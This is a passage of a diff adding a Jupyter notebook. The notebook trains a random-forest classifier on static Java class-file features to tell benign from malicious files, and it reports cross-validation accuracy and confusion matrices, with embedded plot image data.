JmiTH\nXEuSJEmSNEkW15IkSZIkTZLFtSRJkiRJk2RxLUmSJEnSJFlcS5IkSZI0SRbXkiRJkiRN0v8F2IL4\n70tkH3sAAAAASUVORK5CYII=\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b650490>"
+       ]
+      }
+     ],
+     "prompt_number": 161
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('class_name_lowercase_run_avg', 'label')\n",
+      "plt.ylabel('Avg Run of Lower Case Letters')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 162,
+       "text": [
+        "<matplotlib.text.Text at 0x1127ce7d0>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x112791b50>"
+       ]
+      }
+     ],
+     "prompt_number": 162
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.ensemble\n",
+      "from sklearn.metrics import confusion_matrix\n",
+      "from sklearn.cross_validation import train_test_split\n",
+      "\n",
+      "clf_all = sklearn.ensemble.RandomForestClassifier(n_estimators=75)\n",
+      "all_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n",
+      "                    'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n",
+      "                    'entropy', 'interface_count', 'major version', 'methods_count',\n",
+      "                    'size', 'minor version',\n",
+      "                    'method_name_digit_run_avg', 'method_name_digit_run_longest',\n",
+      "                    'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n",
+      "                    'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest',\n",
+      "                    'class_name_digit_run_avg', 'class_name_digit_run_longest',\n",
+      "                    'class_name_length', 'class_name_lowercase_run_avg',\n",
+      "                    'class_name_lowercase_run_longest', 'class_name_slash_count',\n",
+      "                    'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest']                \n",
+      "\n",
+      "X = df.as_matrix(all_features)\n",
+      "y = np.array(df['label'].tolist())\n",
+      "labels = ['good', 'bad']\n",
+      "\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_all, X, y, cv=10)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.993 (+/- 0.018)\n"
+       ]
+      }
+     ],
+     "prompt_number": 163
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Finally some significant improvment."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.ensemble\n",
+      "from sklearn.metrics import confusion_matrix\n",
+      "from sklearn.cross_validation import train_test_split\n",
+      "\n",
+      "# 80/20 Split for predictive test\n",
+      "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n",
+      "clf_all.fit(X_train, y_train)\n",
+      "y_pred = clf_all.predict(X_test)\n",
+      "labels = ['benign', 'malicious']\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 97.06% (99/102)\n",
+        "benign/malicious: 2.94% (3/102)\n",
+        "malicious/benign: 0.00% (0/102)\n",
+        "malicious/malicious: 100.00% (102/102)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\nTdwztpmZWaVFWzS9NZI0UdK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+       "text": [
+        "<matplotlib.figure.Figure at 0x11b72bcd0>"
+       ]
+      }
+     ],
+     "prompt_number": 172
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### One of the features of the classifier is the ability to give a probability that the feature set belongs to a specific class.  In the code below, we are asking the classifier to give us the probability the feature set (file) belongs to the malicious class and only marking the file as malicious if 80% of the trees declare it malicious."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "y_probs = clf_all.predict_proba(X_test)[:,1]\n",
+      "thres = .80 # This can be set to whatever you'd like\n",
+      "y_pred[y_probs>thres] = 'malicious'\n",
+      "y_pred[y_probs<=thres] = 'benign'\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 99.02% (101/102)\n",
+        "benign/malicious: 0.98% (1/102)\n",
+        "malicious/benign: 2.94% (3/102)\n",
+        "malicious/malicious: 97.06% (99/102)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 